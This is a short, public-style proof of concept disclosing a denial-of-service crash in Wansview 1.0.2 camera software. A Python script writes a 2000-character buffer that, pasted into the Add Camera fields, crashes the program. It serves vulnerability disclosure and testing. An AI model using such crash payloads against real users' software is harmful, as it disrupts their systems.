Wansview 1.0.2 - Denial of Service (PoC)

# Exploit Title: Wansview 1.0.2 - Denial of Service (PoC)  
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-14
# Software Link: http://www.wansview.com/uploads/soft/Wansview_v1.0.2.exe
# Tested Version: 1.0.2
# Tested on OS: Windows 10
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the Wansview program. Now click "Add Camera" and in the new 
# window paste the content of "exploit.txt" into the following fields:
# "Camera name" & "DID number". Click "Add" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 2000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"